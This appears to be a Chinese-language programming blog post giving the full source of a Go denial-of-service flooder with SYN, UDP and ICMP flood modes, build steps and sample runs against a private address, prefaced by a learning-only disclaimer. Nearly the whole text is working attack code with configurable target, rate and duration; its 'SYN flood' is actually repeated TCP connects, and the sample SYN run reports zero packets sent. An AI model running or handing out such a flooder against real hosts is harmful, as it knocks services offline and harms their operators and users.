简介
对于常见的DDOS攻击,已经有很多现有的发包工具,那用go语言进行构包会有什么效果呢?在此声明:这里只是从go进行报文请求的角度来学习,不要去搞破坏。
main.go
package main
import (
"crypto/rand"
"flag"
"fmt"
"log"
"net"
"os"
"sync/atomic"
"time"
"golang.org/x/net/icmp"
"golang.org/x/net/ipv4"
)
type AttackMode int
const (
MODE_SYN AttackMode = iota
MODE_UDP
MODE_ICMP
)
type Config struct {
Target string
Port int
Duration int
Mode AttackMode
PacketSize int
Interval int
Count int64
Verbose bool
}
var (
packetsSent uint64
packetsRecv uint64
)
func main() {
config := parseFlags()
// 显示启动信息
fmt.Printf("开始对 %s 进行测试\n", config.Target)
fmt.Printf("模式: %v, 端口: %d, 包大小: %d bytes\n",
getModeString(config.Mode), config.Port, config.PacketSize)
// 启动统计信息打印
go statsReporter()
// 设置结束时间
endTime := time.Now().Add(time.Duration(config.Duration) * time.Second)
// 根据不同模式启动攻击
switch config.Mode {
case MODE_SYN:
synFlood(config, endTime)
case MODE_UDP:
udpFlood(config, endTime)
case MODE_ICMP:
icmpFlood(config, endTime)
}
}
func parseFlags() *Config {
config := &Config{}
flag.StringVar(&config.Target, "target", "", "目标主机地址")
flag.IntVar(&config.Port, "port", 80, "目标端口")
flag.IntVar(&config.Duration, "time", 10, "持续时间(秒)")
mode := flag.String("mode", "syn", "攻击模式 (syn/udp/icmp)")
flag.IntVar(&config.PacketSize, "size", 64, "数据包大小")
flag.IntVar(&config.Interval, "interval", 1, "发包间隔(ms)")
flag.BoolVar(&config.Verbose, "verbose", false, "显示详细信息")
flag.Parse()
if config.Target == "" {
fmt.Println("请指定目标主机地址 (-target)")
os.Exit(1)
}
switch *mode {
case "syn":
config.Mode = MODE_SYN
case "udp":
config.Mode = MODE_UDP
case "icmp":
config.Mode = MODE_ICMP
default:
fmt.Println("无效的攻击模式,请使用: syn, udp 或 icmp")
os.Exit(1)
}
return config
}
func getModeString(mode AttackMode) string {
switch mode {
case MODE_SYN:
return "TCP SYN Flood"
case MODE_UDP:
return "UDP Flood"
case MODE_ICMP:
return "ICMP Flood"
default:
return "Unknown"
}
}
func synFlood(config *Config, endTime time.Time) {
for time.Now().Before(endTime) {
go func() {
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", config.Target, config.Port))
if err != nil {
if config.Verbose {
log.Printf("TCP 连接失败: %v\n", err)
}
return
}
defer conn.Close()
// 发送随机数据
data := make([]byte, config.PacketSize)
rand.Read(data)
conn.Write(data)
atomic.AddUint64(&packetsSent, 1)
}()
time.Sleep(time.Duration(config.Interval) * time.Millisecond)
}
}
func udpFlood(config *Config, endTime time.Time) {
addr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", config.Target, config.Port))
if err != nil {
log.Fatal(err)
}
conn, err := net.DialUDP("udp", nil, addr)
if err != nil {
log.Fatal(err)
}
defer conn.Close()
data := make([]byte, config.PacketSize)
for time.Now().Before(endTime) {
rand.Read(data)
_, err := conn.Write(data)
if err != nil {
if config.Verbose {
log.Printf("UDP 发送失败: %v\n", err)
}
continue
}
atomic.AddUint64(&packetsSent, 1)
time.Sleep(time.Duration(config.Interval) * time.Millisecond)
}
}
func icmpFlood(config *Config, endTime time.Time) {
conn, err := net.DialIP("ip4:icmp", nil, &net.IPAddr{IP: net.ParseIP(config.Target)})
if err != nil {
log.Fatal(err)
}
defer conn.Close()
data := make([]byte, config.PacketSize)
for time.Now().Before(endTime) {
rand.Read(data)
// 构造 ICMP 包
msg := &icmp.Message{
Type: ipv4.ICMPTypeEcho,
Code: 0,
Body: &icmp.Echo{
ID: os.Getpid() & 0xffff,
Seq: 1,
Data: data,
},
}
msgBytes, err := msg.Marshal(nil)
if err != nil {
if config.Verbose {
log.Printf("ICMP 包构造失败: %v\n", err)
}
continue
}
if _, err := conn.Write(msgBytes); err != nil {
if config.Verbose {
log.Printf("ICMP 发送失败: %v\n", err)
}
continue
}
atomic.AddUint64(&packetsSent, 1)
time.Sleep(time.Duration(config.Interval) * time.Millisecond)
}
}
func statsReporter() {
ticker := time.NewTicker(time.Second)
defer ticker.Stop()
var lastSent uint64
for range ticker.C {
currentSent := atomic.LoadUint64(&packetsSent)
pps := currentSent - lastSent
fmt.Printf("\r发送包数: %d, 速率: %d 包/秒", currentSent, pps)
lastSent = currentSent
}
}
运行
go build -o dyddos main.go //编译
ICMP攻击
- -target 指定目标
- -port 指定端口
- -mode 指定模式
- -time 指定时长
- -size 指定包长
- -interval 指定发包间隔
[root@localhost dyddos]# ./dyddos -target 192.168.24.70 -mode icmp -time 5 -size 48 -interval 100
开始对 192.168.24.70 进行测试
模式: ICMP Flood, 端口: 80, 包大小: 48 bytes
发送包数: 50, 速率: 10 包/秒
UDP攻击
[root@localhost dyddos]# ./dyddos -target 192.168.24.70 -port 123 -mode udp -time 5 -size 48 -interval 100
开始对 192.168.24.70 进行测试
模式: UDP Flood, 端口: 123, 包大小: 48 bytes
发送包数: 50, 速率: 10 包/秒
SYN攻击
[root@localhost dyddos]# ./dyddos -target 192.168.24.70 -port 80 -mode syn -time 5 -size 48 -interval 100
开始对 192.168.24.70 进行测试
模式: TCP SYN Flood, 端口: 80, 包大小: 48 bytes
发送包数: 0, 速率: 0 包/秒
总结
- flag进行命令参数解析
- time.NewTicker创建定时器进行统计数据输出
- atomic进行发送报文数量统计
- net.Dial、net.DialUDP、net.DialIP创建不同协议连接
- golang.org/x/net/icmp获取头结构icmp.Message,Marshal将结构体转为二进制
- conn.Write进行报文发送